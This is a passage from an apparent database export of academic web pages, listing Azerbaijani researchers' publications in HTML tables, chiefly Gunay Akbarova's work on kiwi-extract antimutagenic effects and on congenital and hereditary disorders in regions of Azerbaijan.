с.150-151</p>\r\n<p><strong>Худавердиева С.Р.</strong><strong></strong>К вопросу о естественном радиационном фоне и безопасности\r\nжизни людей. Материалы научной конференции Совета молодых ученых\r\nНационального научно-исследовательского Института Медицинской Профилактики,\r\nБаку,&nbsp;&nbsp;&nbsp; 1998, с.46-48</p>\r\n<p>А.Н.Самедов, <strong>С.Р.Худавердиева</strong>\r\nи др.&nbsp; Разработка иммуноферментных тестов\r\nдля диагностики фитопатагенов винограда. Az EA-nın biologiya elmləri şöbəsi ,\r\nİkinci respublika biokimya Konfransı, Bakı “Bilik”, 1993, səh 162</p>\r\n<p>A.N. Səmədov, <strong>S.R.Xudaverdiyeva</strong>\r\nvə b.&nbsp; Üzümün bakterial xəstəliklərini müəyyən\r\netmək üçün immunodiaqnostik test sistemin yaradılması. AMEA-nın xəbərləri.\r\nBiologiya elmləri seriyası, 1993№.1-3,&nbsp;&nbsp;\r\nsəh. 14-18</p>  <br></div>'),(828,564,'en','Gunay Akbarova','Gunay Akbarova','<div><br></div><div style=\"font-family:\'times new roman\', times, serif\"><br></div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" width=\"948\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><tbody><tr><td width=\"44\"><h2><strong>№№</strong></h2></td><td width=\"330\"><h2><strong>Title of publication</strong></h2></td><td width=\"342\"><h2><strong>Publications type/publication activities</strong></h2></td><td width=\"113\"><h2><strong>Pages</strong></h2></td><td width=\"118\"><h2><strong>Authors</strong></h2></td></tr></tbody></table><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><table cellspacing=\"0\" cellpadding=\"0\" width=\"950\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><thead><tr><td width=\"44\"><p><strong>1</strong></p></td><td width=\"330\"><p><strong>2</strong></p></td><td colspan=\"2\" width=\"341\"><p><strong>4</strong></p></td><td width=\"114\"><p><strong>5</strong></p></td><td width=\"121\"><p><strong>6</strong></p></td></tr></thead><tbody><tr><td width=\"44\"><p><strong>1.&nbsp;&nbsp;</strong>&nbsp;</p></td><td width=\"330\"><p>Genetic aspects of the chemical pollution of the Caspian sea</p></td><td colspan=\"2\" width=\"341\"><p>Workshop. Ecological problems of Caspian Sea and Ecological education in Caspian countries. Abstracts, comments, resolution. Baku, 1998&nbsp;&nbsp;</p></td><td width=\"114\"><p>С.27</p></td><td width=\"121\"><p>M. Babayev</p></td></tr><tr><td width=\"44\"><p><strong>2.&nbsp;&nbsp;</strong>&nbsp;</p></td><td width=\"330\"><p>Практическое применение антиоксидантов и роль в торможении процесса старения.&nbsp;</p></td><td colspan=\"2\" width=\"341\"><p>«Эянъ биолог-99» республика елми конфрансынын програм вя материаллары. Бакы, 1999</p></td><td width=\"114\"><p>с.92-93</p></td><td width=\"121\">&nbsp;</td></tr><tr><td width=\"44\"><p><strong>3.&nbsp;&nbsp;</strong>&nbsp;</p></td><td width=\"330\"><p>Экология питания и роль антиоксидантов в продолжительности жизни (методические указания)</p></td><td colspan=\"2\" width=\"341\"><p>Баку. Изд-во БГУ, 1999.</p></td><td width=\"114\"><p>62с.</p></td><td width=\"121\"><p>Бабаев М.Ш.</p>&nbsp;</td></tr><tr><td width=\"44\"><p><strong>4.&nbsp;&nbsp;</strong>&nbsp;</p></td><td width=\"330\"><p>Частота аберраций хромосом в клетках проростков облученных семян пшеницы и лука-батуна в зависимости от временных режимов их обработки препаратом МЗ-87</p></td><td colspan=\"2\" width=\"341\"><p>«Биолоэийанын мцасир проблемляри» мювзусунда елми конфрансын материаллары. БДУ, 2000</p></td><td width=\"114\"><p>с. 163-164</p></td><td width=\"121\"><p>Бабаев М.Ш.</p><p>Бахшалиева Н.З.</p></td></tr><tr><td width=\"44\"><p><strong>5.&nbsp;&nbsp;</strong>&nbsp;</p></td><td width=\"330\"><p>Влияние экстракта из плодов Actinidia chinensis на УФ-индуцированный мутагенез в клетках E. coli дикого типа</p></td><td colspan=\"2\" width=\"341\"><p>Мат-лы республиканской конф-ции \"Проблемы защиты генома\". Выпуск I. –Баку, 2002.</p></td><td width=\"114\"><p>с.23-26</p></td><td width=\"121\"><p>Алиев А.А.</p></td></tr><tr><td width=\"44\"><p><strong>6.&nbsp;&nbsp;</strong>&nbsp;</p></td><td width=\"330\"><p>Модификация экстрактом из плодов киви генотоксичности ионизирующей радиации</p></td><td colspan=\"2\" width=\"341\"><p>\"Експериментал биолоэийанын инкишаф перспективляри\" елми конфрансын материаллары. –Бакы. БДУ, 2002.</p></td><td width=\"114\"><p>с. 37-38</p></td><td width=\"121\"><p>&nbsp;</p></td></tr><tr><td width=\"44\"><p><strong>7.&nbsp;&nbsp;</strong>&nbsp;</p></td><td width=\"330\"><p>Некоторые особенности коррекции экстрактом из плодов киви индуцированного мутагенеза в клетках млекопитающих</p></td><td colspan=\"2\" width=\"341\"><p>\"Експериментал биолоэийанын инкишаф перспективляри\" елми конфрансын материаллары. –Бакы. БДУ няшр., 2002.</p></td><td width=\"114\"><p>с. 35-36</p></td><td width=\"121\"><p>&nbsp;</p></td></tr><tr><td width=\"44\"><p><strong>8.&nbsp;&nbsp;</strong>&nbsp;</p></td><td width=\"330\"><p>Регуляция химического мутагенеза экстрактом из плодов Actinidia chinensis на модели микроорганизмов</p></td><td colspan=\"2\" width=\"341\"><p>В.Ахундов адына МЕТТПИ-нун 80 иллик йубилейиня щяср олунмуш конфранс материалларынын мяъмуяси. Бакы, 2002.</p></td><td width=\"114\"><p>с.63-64</p></td><td width=\"121\"><p>&nbsp;</p></td></tr><tr><td width=\"44\"><p><strong>9.&nbsp;&nbsp;</strong>&nbsp;</p></td><td width=\"330\"><p>Коррекция индуцированного мутагенеза экстрактом из плодов Actinidia chinensis</p></td><td colspan=\"2\" width=\"341\"><p>Мат-лы XI Международного симпозиума \"Нет­радиционное растениеводство. Эниология. Экология и здоровье\". –Таврия. Симферополь, 2002.</p></td><td width=\"114\"><p>с. 371-372</p></td><td width=\"121\"><p>&nbsp;</p></td></tr><tr><td width=\"44\"><strong>10.&nbsp;&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol></ol></td><td width=\"330\"><p>Стресс-протекторное действие экстракта из плодов Actinidia chinensis при химическом мутагенезе</p></td><td colspan=\"2\" width=\"341\"><p>Материалы IV Международной научно-практической конференции \"Интродукция нетрадиционных и редких сельскохозяйственных растений \". –Ульяновск, 2002. –Т. 2.</p></td><td width=\"114\"><p>с.224-226</p></td><td width=\"121\"><p>&nbsp;</p></td></tr><tr><td width=\"44\"><strong>11.&nbsp;&nbsp;&nbsp;</strong>&nbsp;</td><td width=\"330\"><p>Антимутагенная активность экстракта из плодов Actinidia chinensis</p></td><td colspan=\"2\" width=\"341\"><p>\"Проф. Б.М.Мащмудбяйовун 100-иллик йубилейиня щяср олунмуш\" елми-тяърцби конфрансынын елми ишляр топлусу. –Бакы, Бакы Славйан Университети Няшриййаты, 2002.</p></td><td width=\"114\"><p>с.109-110</p></td><td width=\"121\"><p>Рагимова Г.К.</p><p>Алиева Д.М.</p></td></tr><tr><td width=\"44\"><strong>12.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol></ol></td><td width=\"330\"><p>Модификация последовательных этапов индуцированного мутационного процесса экстрактом из плодов киви</p></td><td colspan=\"2\" width=\"341\"><p>\"Проф. Б.М.Мащмудбя­йовун 100-иллик йубилейи­ёня щяср олунмуш\" елми-тяърцби конфрансынын елми ишляр топлусу. –Бакы, Бакы Славйан Университети Няшриййаты, 2002.</p></td><td width=\"114\"><p>с.110-111</p></td><td width=\"121\"><p>&nbsp;</p></td></tr><tr><td width=\"44\"><strong>13.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol></ol></td><td width=\"330\"><p>Особенности защиты генома при применении экстракта из плодов киви до и после воздействия мутагенов</p></td><td colspan=\"2\" width=\"341\"><p>Бакы Университетинин хябярляри. Тябият елмляри серийасы. 2002, №3.</p></td><td width=\"114\"><p>с.89-94</p></td><td width=\"121\"><p>&nbsp;</p></td></tr><tr><td width=\"44\"><strong>14.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol></ol></td><td width=\"330\"><p>Регуляция индуцированного мутагенеза экстрактом из плодов Actinidia chinensis</p></td><td colspan=\"2\" width=\"341\"><p>\"Билэи\" дярэиси. Кимйа, Биолоэийа, Тибб серийасы. 2002, №4.</p></td><td width=\"114\"><p>с.52-55</p></td><td width=\"121\"><p>&nbsp;</p></td></tr><tr><td width=\"44\"><strong>15.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol></ol></td><td width=\"330\"><p>Роль экстракта из плодов киви в уменьшении генетических повреждений и в стабилизации окислительно-восстановительных процессов</p></td><td colspan=\"2\" width=\"341\"><p>&nbsp;\"Биокимйа бу эцн вя сабащ\" мювзусунда елми конфрансын материаллары. -Бакы, БДУ, 2003.</p></td><td width=\"114\"><p>с.128-130</p></td><td width=\"121\"><p>&nbsp;</p></td></tr><tr><td width=\"44\"><strong>16.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol></ol></td><td width=\"330\"><p>Эффективность защиты генома экстрактом из плодов киви в зависимости от генотипа клеток Escherichia coli</p></td><td colspan=\"2\" width=\"341\"><p>Азярбайъан МЕА эянъ алимляринин (аспирантларынын) материаллары. –Бакы, 2003</p></td><td width=\"114\"><p>с.148-149</p></td><td width=\"121\"><p>&nbsp;</p></td></tr><tr><td width=\"44\"><strong>17.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol></ol></td><td width=\"330\"><p>Особенности защиты генома млекопитающих экстрактом из плодов Actinidia chinensis в условиях радиационного мутагенеза</p></td><td colspan=\"2\" width=\"341\"><p>Азярбайъан Метаболизм Журналы. –Ъилд 1, №1, Йанвар-Ийун, 2003.</p></td><td width=\"114\"><p>с.32-36</p></td><td width=\"121\"><p>&nbsp;</p></td></tr><tr><td width=\"44\"><strong>18.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol></ol></td><td width=\"330\"><p>Модификация перекисного окисления липидов (ПОЛ) экстрактом из плодов киви у облученных животных.</p></td><td colspan=\"2\" width=\"341\"><p>«Биолоэийада инкишаф вя мцасирлик» мювзусунда республика елми конфрансынын материаллары. Бакы, 2004.</p></td><td width=\"114\"><p>с.46-47.</p></td><td width=\"121\"><p>&nbsp;</p></td></tr><tr><td width=\"44\"><strong>19.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol></ol></td><td width=\"330\"><p>Генозищитный потенциал биокомплекса из плодов Actinidia chinensis</p></td><td colspan=\"2\" width=\"341\"><p>От фундаментальной науки - к новым технологиям. Химия и биотехнология биологически активных веществ, пищевых продуктов и добавок. Экологически безопасные технологии: Материалы Международной конференции молодых ученых. Вып. 4. Тверь: ТГТУ, 2004.</p></td><td width=\"114\"><p>с.17-18</p></td><td width=\"121\"><p>&nbsp;</p></td></tr><tr><td width=\"44\"><strong>20.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol></ol></td><td width=\"330\"><p>Изучение антимутагенной активности экстракта из плодов киви при химическом мутагенезе</p></td><td width=\"340\"><p>«Експериментал биолоэийа вя мцасирлик» мювзусунда республика елми конфрансынын материаллары. -Бакы, БДУ, 2005.</p></td><td colspan=\"2\" width=\"115\"><p>С.61</p></td><td width=\"121\"><p>&nbsp;</p></td></tr><tr><td width=\"44\"><strong>21.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol></ol></td><td width=\"330\"><p>Наследственные заболевания и врожденные пороки развития у населения Саатлинского района Азербайджанской республики</p></td><td width=\"340\"><p>Елми журнал «Азярбайъанда тибб елми вя практик сящиййянин мцасир наилиййятляри». - №1, 2005.</p></td><td colspan=\"2\" width=\"115\"><p>с.147-150</p></td><td width=\"121\"><p>Э.М.Расулов</p></td></tr><tr><td width=\"44\"><strong>22.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol></ol></td><td width=\"330\"><p>Йцксяк температурлу аллел-спесифик амплификасийа методу иля b-талассемийалы хястялярдя b-глобин эенинин тядгиги</p></td><td width=\"340\"><p>&nbsp;Елми журнал «Азярбайъанда тибб елми вя практик сящиййянин мцасир наилиййятляри». - №1, 2005.</p></td><td colspan=\"2\" width=\"115\"><p>с.209-212</p></td><td width=\"121\"><p>Е.З.Аббасова, А.Б.Щаъыйев, Е.М.Рясулов</p></td></tr><tr><td width=\"44\"><strong>23.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol></ol></td><td width=\"330\"><p>Медико-генетические исследования популяции двух регионов Азербайджана&nbsp;<br><br><strong>&nbsp;</strong></p><p>&nbsp;</p></td><td width=\"340\"><p>Научная конференция с международным участием «Актуальные проблемы науки и образования», Варадеро (Куба), 20-30 марта 2006. \"Современные проблемы науки и образования\". М: «Академия Естествознания»,&nbsp; №3, 2006.</p></td><td colspan=\"2\" width=\"115\"><p>с.93-94</p></td><td width=\"121\"><p>&nbsp;</p></td></tr><tr><td width=\"44\"><strong>24.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol></ol></td><td width=\"330\"><p>Мониторинг врожденных пороков развития и наследственных заболеваний в одном регионе Азербайджана</p></td><td width=\"340\"><p>II научная конференция с международным участием «Фундаментальные и прикладные проблемы медицины и биологии», Гоа (Индия), 4-16 марта 2006. \"Успехи современного естествознания\". М: «Академия Естествознания», №5, 2006.</p></td><td colspan=\"2\" width=\"115\"><p>с.75-76</p></td><td width=\"121\"><p>Э.М.Расулов</p></td></tr><tr><td width=\"44\"><strong>25.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol></ol></td><td width=\"330\"><p>Старение и антиоксиданты</p></td><td width=\"340\"><p>\"Проф. М.Мустафайев 100-иллик йубилейиня щяср олунмуш\" елми-практик конфрансынын материаллары, Бакы, 26-29 апрел. –Бакы, 2006.</p></td><td colspan=\"2\" width=\"115\"><p>с.76-79</p></td><td width=\"121\"><p>М.Ш.Бабаев, Е.И.Алиева</p></td></tr><tr><td width=\"44\"><strong>26.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol></ol></td><td width=\"330\"><p>Регистр наследственных заболеваний и врожденных пороков развития у населения одного из регионов Азербайджанской республики</p></td><td width=\"340\"><p>XI Всероссийская научно-практическая конференция «Молодые ученые в медицине»: Тезисы докладов. - Казань: ЗАО «Новое знание», 2006.</p></td><td colspan=\"2\" width=\"115\"><p>С.85</p></td><td width=\"121\"><p>&nbsp;</p></td></tr><tr><td width=\"44\"><strong>27.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol></ol></td><td width=\"330\"><p>Здоровье населения в сельскохозяйственном регионе Азербайджанской Республики</p></td><td width=\"340\"><p>Общественное здоровье: мониторинг, организация медицинской помощи: материалы XLI научно-практической конференции с международным участием, посвященной 30-летию ГУ НИИ комплексных проблем гигиены и профессиональных заболеваний СО РАМН / под ред. В.В.Захаренкова. – Новокузнецк, 2006.</p></td><td colspan=\"2\" width=\"115\"><p>с.6-7</p></td><td width=\"121\"><p>&nbsp;</p></td></tr><tr><td width=\"44\"><strong>28.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol></ol></td><td width=\"330\"><p>Модификация эффекта гамма – облучения экстрактом из плодов киви</p></td><td width=\"340\"><p>V съезд по радиационным исследованиям (радиобиология, радиоэкология, радиационная безопасность), Москва, 10-14 апреля 2006 г. - М. Тезисы докладов, т. 2, 2006.</p></td><td colspan=\"2\" width=\"115\"><p>С.23</p></td><td width=\"121\"><p>&nbsp;</p></td></tr><tr><td width=\"44\"><strong>29.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol></ol></td><td width=\"330\"><p>Исследование врожденных патологий у населения Сальянского и Джалилабадского районов Азербайджанской Республики</p></td><td width=\"340\"><p>«Биолоэийада елми наилиййятляр» мювзусунда республика елми конфрансынын материаллары. -Бакы, БДУ, 2006.</p></td><td colspan=\"2\" width=\"115\"><p>с.4-5</p></td><td width=\"121\"><p>Р.А.Кулиев</p></td></tr><tr><td width=\"44\"><strong>30.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol></ol></td><td width=\"330\"><p>Встречаемость врожденных пороков развития и наследственных болезней в трех районах Азербайджана</p></td><td width=\"340\"><p>Мяркязи нефтчиляр хястяханасынын 50 иллик йубилейиня щяср олунмуш елми ясярлярин мяъмуяси. - Бакы: «Верже», 2006.</p></td><td colspan=\"2\" width=\"115\"><p>с.268-274</p></td><td width=\"121\"><p>Э.М.Расулов, Э.Э.Расулов, Б.Р.Кичибеков</p></td></tr><tr><td width=\"44\"><strong>31.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol></ol></td><td width=\"330\"><p>Популяционно-генетическое исследование детского населения Кобустанского и Ахсуинского районов Азербайджанской Республики</p></td><td width=\"340\"><p>Елми – практик журнал «Саьламлыг» - Бакы, №6, 2006.</p></td><td colspan=\"2\" width=\"115\"><p>с.105-110</p></td><td width=\"121\"><p>Э.М.Расулов</p></td></tr><tr><td width=\"44\"><strong>32.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol></ol></td><td width=\"330\"><p>Аномалии развития среди населения Таузского района Азербайджана</p></td><td width=\"340\"><p>Елми – практик журнал «Саьламлыг» - Бакы, №4, 2007.</p></td><td colspan=\"2\" width=\"115\"><p>с.123-126</p></td><td width=\"121\"><p>&nbsp;</p></td></tr><tr><td width=\"44\"><strong>33.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol></ol></td><td width=\"330\"><p>Нарушения центральной нервной системы среди детского населения Ширванской зоны Азербайджана</p></td><td width=\"340\"><p>XII Всероссийская научно-практическая конференция «Молодые ученые в медицине». 25-26 апреля 2007 г. Тезисы докладов. Казань: Отечество, 2007.</p></td><td colspan=\"2\" width=\"115\"><p>С.96</p></td><td width=\"121\"><p>&nbsp;</p></td></tr><tr><td width=\"44\"><strong>34.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol></ol></td><td width=\"330\"><p>Генетико-эпидемиологическое исследование населения Акстафинского района Азербайджана</p></td><td width=\"340\"><p>Елми – практик журнал «Саьламлыг» - Бакы, №5, 2007.</p></td><td colspan=\"2\" width=\"115\"><p>с.113-117</p></td><td width=\"121\"><p>&nbsp;</p></td></tr><tr><td width=\"44\"><strong>35.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol></ol></td><td width=\"330\"><p>Сравнительный анализ врожденных патологий в Муганской и Ширванской зонах Азербайджана</p></td><td width=\"340\"><p>Журнал \"Успехи современного естествознания\" – М: Изд-во «Академия Естествознания», №8, 2007.</p></td><td colspan=\"2\" width=\"115\"><p>с.22-25</p></td><td width=\"121\"><p>&nbsp;</p></td></tr><tr><td width=\"44\"><strong>36.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol></ol></td><td width=\"330\"><p>Изучение распространения и структуры врожденных патологий в Алибайрамлинском районе Азербайджана</p></td><td width=\"340\"><p>Рцблцк елми-практики журнал «Азярбайъан тябабятинин мцасир наилиййятляри» - Бакы, №2, 2007.</p></td><td colspan=\"2\" width=\"115\"><p>с. 89-91</p></td><td width=\"121\"><p>Э.М.Расулов</p></td></tr><tr><td width=\"44\"><strong>37.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol></ol></td><td width=\"330\"><p>Врожденные пороки развития и наследственные болезни в Муганской зоне Азербайджана&nbsp;</p></td><td width=\"340\"><p>Рцблцк елми-практики журнал «Азярбайъан тябабятинин мцасир наилиййятляри» - Бакы, №3, 2007.</p></td><td colspan=\"2\" width=\"115\"><p>с. 83-87</p></td><td width=\"121\"><p>&nbsp;</p></td></tr><tr><td width=\"44\"><strong>38.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol></ol></td><td width=\"330\"><p>Генетическая активность эфирного масла чабера</p></td><td width=\"340\"><p>«Еколоэийа: тябият вя ъямиййят проблемляри»-Бейналхалг елми конфранс, Бакы, 8-9 нойабр 2007 / Бейналхалг елми конфрансын материаллары, Бакы, 8-9 нойабр 2007.</p></td><td colspan=\"2\" width=\"115\"><p>с. 276-277</p></td><td width=\"121\"><p>Р.Ф.Гейдарова, С.А.Мамедова</p></td></tr><tr><td width=\"44\"><strong>39.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol></ol></td><td width=\"330\"><p>Медико-генетическое исследование населения Казахского района Азербайджана</p></td><td width=\"340\"><p>Елми – практик журнал «Саьламлыг» - Бакы, №8, 2007.</p></td><td colspan=\"2\" width=\"115\"><p>с. 106-110</p></td><td width=\"121\"><p>Э.М.Расулов</p></td></tr><tr><td width=\"44\"><strong>40.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol></ol></td><td width=\"330\"><p>Исследование врожденных пороков развития и наследственных заболеваний в Западной зоне Азербайджана</p></td><td width=\"340\"><p>Журнал \"Успехи современного естествознания\" – М: Изд-во «Академия Естествознания», №10, 2007.</p></td><td colspan=\"2\" width=\"115\"><p>с. 22-25</p></td><td width=\"121\"><p>&nbsp;</p></td></tr><tr><td width=\"44\"><strong>41.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol></ol></td><td width=\"330\"><p>Генетико-эпидемиологические исследования врожденных патологий в двух популяциях Азербайджанской Республики</p></td><td width=\"340\"><p>«Бакы Университетинин хябярляри» журналы, Тябият елмляри серийасы, №2, 2007.</p></td><td colspan=\"2\" width=\"115\"><p>с. 80-84</p></td><td width=\"121\"><p>&nbsp;</p></td></tr><tr><td width=\"44\"><strong>42.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol></ol></td><td width=\"330\"><p>Молекулярно-генетическое распределение мутаций β-глобинового гена среди популяции Муганской и Ширванской зон Азербайджана</p></td><td width=\"340\"><p>Азярбайъан Онколоэийа вя Щематолоэийа Журналы, №2, 2007.</p></td><td colspan=\"2\" width=\"115\"><p>с. 125-128</p></td><td width=\"121\"><p>&nbsp;</p><p>&nbsp;</p></td></tr><tr><td width=\"44\"><strong>43.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol></ol></td><td width=\"330\"><p>Изучение наследственных заболеваний крови в популяции Западной зоны Азербайджана</p></td><td width=\"340\"><p>Журнал «Биомедицина», Баку, №4, 2007</p></td><td colspan=\"2\" width=\"115\"><p>с. 21-24</p></td><td width=\"121\"><p>&nbsp;</p></td></tr><tr><td width=\"44\"><strong>44.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol></ol></td><td width=\"330\"><p>Распространение наследственных заболеваний системы крови в Муганской зоне Азербайджана</p></td><td width=\"340\"><p>Журнал «Биомедицина», Баку, №1, 2008</p></td><td colspan=\"2\" width=\"115\"><p>с. 43-46</p></td><td width=\"121\"><p>&nbsp;</p></td></tr><tr><td width=\"44\"><strong>45.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol></ol></td><td width=\"330\"><p>Распространение β-талассемии в Муганской зоне Азербайджана</p></td><td width=\"340\"><p>«Биолоэийанын мцасир проблемляри» мювзусунда республика елми конфрансынын материаллары, 25-26 апрел, БДУ, 2008.&nbsp;</p></td><td colspan=\"2\" width=\"115\"><p>с. 130-131</p></td><td width=\"121\"><p>Р.А. Кулиев</p><p>&nbsp;</p></td></tr><tr><td width=\"44\"><strong>46.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol></ol></td><td width=\"330\"><p>Анализ наследственных нарушений системы крови в трех зонах Азербайджана</p></td><td width=\"340\"><p>Журнал \"Фундаментальные исследования\" – М: Изд-во «Академия Естествознания», №7, 2008</p></td><td colspan=\"2\" width=\"115\"><p>с. 14-18</p></td><td width=\"121\"><p>&nbsp;</p></td></tr><tr><td width=\"44\"><strong>47.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol></ol></td><td width=\"330\"><p>Исследование нарушений центральной нервной системы и органов чувств среди населения Западной зоны Азербайджана&nbsp;</p></td><td width=\"340\"><p>Журнал \"Современные проблемы науки и образования\" – М: Изд-во «Академия Естествознания», №3, 2009</p></td><td colspan=\"2\" width=\"115\"><p>с. 9-13</p></td><td width=\"121\"><p>&nbsp;</p></td></tr><tr><td width=\"44\"><strong>48.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol></ol></td><td width=\"330\"><p>Популяционно-генетические исследования заболеваний центральной нервной системы среди населения Алибайрамлинского района Азербайджана</p></td><td width=\"340\"><p>Bakı Dövlət Universitetinin 90 illik yubileyinə həsr olunmuş Beynalxalq Elmi Konfransın materialları (Təbiət elmləri), 30-31 oktyabr, Bakı, 2009</p></td><td colspan=\"2\" width=\"115\"><p>с. 397</p></td><td width=\"121\"><p>Р.А.Кулиев</p></td></tr><tr><td width=\"44\"><strong>49.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol></ol></td><td width=\"330\"><p>Распространение врожденных аномалий скелетной системы в популяциях Муганской и Ширванской зон Азербайджана</p></td><td width=\"340\"><p>Журнал \"Фундаментальные исследования\" – М: Изд-во «Академия Естествознания», №8, 2009</p></td><td colspan=\"2\" width=\"115\"><p>с. 6-10</p></td><td width=\"121\"><p>&nbsp;</p></td></tr><tr><td width=\"44\"><strong>50.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol></ol></td><td width=\"330\"><p>“Fərdi inkişafın biologiyası” fənnindən praktiki məşğələyə dair metodik vəsait</p></td><td width=\"340\"><p>“Bakı Universiteti” Nəşriyyatı, 2010</p></td><td colspan=\"2\" width=\"115\"><p>36 s.</p></td><td width=\"121\"><p>&nbsp;</p></td></tr><tr><td width=\"44\"><strong>51.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol></ol></td><td width=\"330\"><p>Исследование распространения некоторых заболеваний крови среди населения Таузского района Азербайджана</p></td><td width=\"340\"><p>Материалы научной международной конференции «Фундаментальные исследования», Израиль, 10-17 апреля 2010 г., опубликовано: «Международный журнал прикладных и фундаментальных исследований», М., №5, 2010</p></td><td colspan=\"2\" width=\"115\"><p>s. 73-74</p></td><td width=\"121\"><p>&nbsp;</p></td></tr><tr><td width=\"44\"><strong>52.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol></ol></td><td width=\"330\"><p>Генетические исследования популяции Казахского района Азербайджана</p><p>&nbsp;</p></td><td width=\"340\"><p>Мат-лы научной международной конференции «Проблемы международной интеграции национальных образовательных стандартов, 23 апреля – 21 мая 2010 г., Париж-Лондон. «Международный журнал экспериментального образования», М., №5, 2010</p></td><td colspan=\"2\" width=\"115\"><p>s. 16-17</p></td><td width=\"121\"><p>&nbsp;</p></td></tr><tr><td width=\"44\"><strong>53.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol></ol></td><td width=\"330\"><p>Нарушения центральной нервной системы и органов чувств среди популяции Муганской зоны Азербайджана</p></td><td width=\"340\"><p>Журнал «Успехи современного естествознания», М., №6, 2010</p></td><td colspan=\"2\" width=\"115\"><p>s. 27-31</p></td><td width=\"121\"><p>&nbsp;</p></td></tr><tr><td width=\"44\"><strong>54.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol></ol></td><td width=\"330\"><p>Влияние экстракта из плодов киви на индуцированный мутационный процесс в клетках Escherichia coli</p></td><td width=\"340\"><p>AMEA Mikrobiologiya İnstitutun Elmi Əsərləri, cild VIII, 2010</p></td><td colspan=\"2\" width=\"115\"><p>s.26-31</p></td><td width=\"121\"><p>&nbsp;</p></td></tr><tr><td width=\"44\"><strong>55.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol></ol></td><td width=\"330\"><p>Методика преподавания биологии</p></td><td width=\"340\"><p>Учебное пособие, Баку: Masterprint MMC, 2011</p></td><td colspan=\"2\" width=\"115\"><p>213 s.</p></td><td width=\"121\"><p>К.Н.Микаилова</p></td></tr><tr><td width=\"44\"><strong>56.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol></ol></td><td width=\"330\"><p>Нарушения центральной нервной системы</p><p>и органов чувств среди популяции</p><p>Ширванской зоны Азербайджана</p></td><td width=\"340\"><p>Журнал «Успехи современного естествознания», М.,&nbsp; №4, 2011</p></td><td colspan=\"2\" width=\"115\"><p>s.27-30</p></td><td width=\"121\"><p>&nbsp;</p></td></tr><tr><td width=\"44\"><strong>57.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol></ol></td><td width=\"330\"><p>Патологии ЦНС и органов чувств в популяции Таузского района</p></td><td width=\"340\"><p>Gənc alimlərin və tədqiqatçıların Müasir biologiyanın nəzəri və tədbiqi problemləri mövzusunda Beynəlxalq Elmi konfransının materialları, 29-30 aprel, Bakı, 2011</p></td><td colspan=\"2\" width=\"115\"><p>s.122-123</p></td><td width=\"121\"><p>&nbsp;</p></td></tr><tr><td width=\"44\"><strong>58.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol></ol></td><td width=\"330\"><p>Frequency of gene mutations in regions of Azerbaijan</p></td><td width=\"340\"><p>Gənc alimlərin və tədqiqatçıların Müasir biologiyanın nəzəri və tədbiqi problemləri mövzusunda Beynəlxalq Elmi konfransının materialları, 29-30 aprel, Bakı, 2011</p></td><td colspan=\"2\" width=\"115\"><p>s.123-124</p></td><td width=\"121\"><p>&nbsp;</p></td></tr><tr><td width=\"44\"><strong>59.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol></ol></td><td width=\"330\"><p>Mutations of beta-globins gene in the population of Azerbaijan</p></td><td width=\"340\"><p>X International Congress of Medical Sciences, 12-15, May, 2011, Sofia, Bulgaria</p></td><td colspan=\"2\" width=\"115\"><p>s.81</p></td><td width=\"121\"><p>&nbsp;</p></td></tr><tr><td width=\"44\"><strong>60.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol></ol></td><td width=\"330\"><p>The research of beta-GG mutations using molecular methods among the Mugan region population</p></td><td width=\"340\"><p>Gənc alimlərin və tədqiqatçıların Müasir biologiyanın innovasiya problemləri mövzusunda Beynəlxalq Elmi 